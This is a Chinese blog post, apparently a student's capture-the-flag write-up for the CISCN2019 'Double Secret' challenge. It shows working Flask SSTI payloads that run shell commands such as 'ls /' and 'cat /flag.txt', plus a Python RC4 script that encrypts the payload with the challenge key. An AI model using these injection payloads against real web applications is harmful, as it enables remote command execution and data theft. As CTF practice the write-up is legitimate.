本文最后更新于325 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com
快打比赛了有点紧张,随便来复现几道国赛题,长长见识
[CISCN2019 华东南赛区]Double Secret
这道题目比较难的地方在于他考察的是RC4加密,我们首先进入环境,就只有一行字,叫我们找secret,一开始的时候找了一圈,啥都没有。因为不管是抓包还是在kali机里头都找不到有用的信息。后面发现了一个关键单词,secret。于是我尝试进入,得到新的页面
这个的意思是告诉我你的秘密,我会加密,让别人看不见。于是猜测是再传一个secret参数
发现信息被加密,那这就是注入点了
开始尝试,找不出什么加密规律,一开始以为是凯撒,后来发现我还是太年轻了。后面直接选择爆长度,看能不能回显,直接爆出源码
这里就是告诉我们加密方式是RC4,还给了一个密钥。不用说,我肯定不会。那就只能去看wp了,卧槽,深感自己像个菜鸡。
看了wp,发现自己还是不够细,通过报错页面,我还可以在知道他是flask模板,所以可以使用,SSTI模板注入。
于是找到SSTI模板注入的经典语句
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}
然后对他进行RC4加密和url加密,根据大佬的说法,url编码原因是,经过rc4加密之后有不可见字符,影响get传参
但是吧,它使用的工具我没复现出来,但是脚本却可以,果然还得是一个脚本走天下啊,什么时候我才能那么强大
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{ config.__class__.__init__.__globals__['os'].popen('cat /flag.txt').read() }}")
然后把字符串输入就可以得到flag
总结:RC4太菜了,得学。然后模板注入也得会,知识储备不够啊,太垃圾了,继续努力吧